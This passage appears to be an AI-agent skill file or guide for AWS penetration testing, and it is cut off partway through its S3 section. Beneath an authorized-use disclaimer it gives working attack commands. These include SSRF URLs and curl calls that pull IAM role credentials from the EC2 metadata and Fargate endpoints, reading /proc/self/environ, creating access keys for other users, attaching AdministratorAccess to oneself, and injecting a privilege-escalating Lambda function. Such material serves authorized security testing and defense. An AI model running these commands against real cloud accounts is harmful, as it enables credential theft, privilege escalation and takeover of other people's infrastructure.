Aws penetration testing

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

AWS Penetration Testing

Purpose

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

Inputs/Prerequisites

• AWS CLI configured with credentials
• Valid AWS credentials (even low-privilege)
• Understanding of AWS IAM model
• Python 3, boto3 library
• Tools: Pacu, Prowler, ScoutSuite, SkyArk

Outputs/Deliverables

• IAM privilege escalation paths
• Extracted credentials and secrets
• Compromised EC2/Lambda/S3 resources
• Persistence mechanisms
• Security audit findings

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Essential Tools

Tool	Purpose	Installation
Pacu	AWS exploitation framework	git clone https://github.com/RhinoSecurityLabs/pacu
SkyArk	Shadow Admin discovery	Import-Module .\SkyArk.ps1
Prowler	Security auditing	pip install prowler
ScoutSuite	Multi-cloud auditing	pip install scoutsuite
enumerate-iam	Permission enumeration	git clone https://github.com/andresriancho/enumerate-iam
Principal Mapper	IAM analysis	pip install principalmapper

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Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

For IMDSv2 (token required):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate Container Credentials:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

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Privilege Escalation Techniques

Shadow Admin Permissions

These permissions are equivalent to administrator:

Permission	Exploitation
iam:CreateAccessKey	Create keys for admin user
iam:CreateLoginProfile	Set password for any user
iam:AttachUserPolicy	Attach admin policy to self
iam:PutUserPolicy	Add inline admin policy
iam:AddUserToGroup	Add self to admin group
iam:PassRole + ec2:RunInstances	Launch EC2 with admin role
lambda:UpdateFunctionCode	Inject code into Lambda

Create Access Key for Another User

aws iam create-access-key --user-name target_user

Attach Admin Policy

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

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S3 Bucket Exploitation

Bucket Discovery

# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlis